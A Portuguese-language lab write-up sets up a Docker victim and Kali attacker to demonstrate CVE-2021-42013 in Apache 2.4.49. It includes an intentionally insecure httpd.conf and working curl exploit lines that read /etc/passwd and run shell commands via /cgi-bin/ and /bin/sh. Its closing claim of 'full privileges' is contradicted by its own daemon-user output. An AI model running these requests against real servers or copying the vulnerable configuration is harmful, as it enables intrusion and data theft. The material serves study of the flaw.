
Laboratório de teste de penetração baseado em Docker que simula a vulnerabilidade CVE-2021-42013 (Path Traversal & RCE) no Apache HTTP Server (2.4.49).
Laboratório de teste de penetração baseado em Docker que simula a vulnerabilidade CVE-2021-42013 (Path Traversal & RCE) no Apache HTTP Server (2.4.49).
Este projeto foi preparado para simular e explorar a vulnerabilidade CVE-2021-42013 encontrada no Apache HTTP Server (2.4.49) em um ambiente isolado. No estudo, um ambiente de laboratório personalizado chamado docker-exploit-lab foi montado, e o cenário de ataque foi realizado a partir de uma máquina vítima (victim) e uma máquina atacante (attacker) na mesma rede.
Nosso laboratório possui dois arquivos de configuração principais: o arquivo Docker Compose que define as máquinas Victim/Attacker e o arquivo de configuração que torna o servidor Apache vulnerável.
docker-compose.ymlEste arquivo cria um ambiente isolado na sub-rede 172.20.0.0/16. Quando a máquina atacante é iniciada, ela instala automaticamente a ferramenta curl necessária para o ataque.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confPara acionar a vulnerabilidade, foi concedida a permissão Require all granted ao diretório raiz () e ao diretório CGI, tornando o servidor intencionalmente vulnerável.
(Nota importante: Para evitar erros, certifique-se de que este arquivo seja salvo em UTF-8 simples, sem o caractere BOM (Byte Order Mark).)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
Para iniciar o sistema, executamos o seguinte comando no terminal, a partir do diretório de trabalho:
docker compose up -d
Depois que o sistema estiver no ar, entramos na máquina Kali Linux onde executaremos os comandos de ataque:
Bash
docker exec -it attacker-box /bin/bash
De dentro da máquina Kali, disparamos a vulnerabilidade de traversal de diretórios enviando caracteres codificados em URL (.%%32%65) para o endereço IP fixo da máquina alvo (172.20.0.2) e lemos o arquivo /etc/passwd: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Como autorizamos o diretório CGI na configuração do Apache, podemos usar a mesma lógica de traversal de diretórios por meio de /cgi-bin/ para executar comandos de shell diretamente no servidor. Para executar o comando id: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" Saída obtida com sucesso: uid=1(daemon) gid=1(daemon) groups=1(daemon)
Este estudo demonstra, na prática, como uma vulnerabilidade de Path Traversal aparentemente inofensiva em um servidor web desatualizado, quando combinada com permissões mal configuradas do módulo CGI, se transforma em execução remota de código (RCE) com privilégios totais.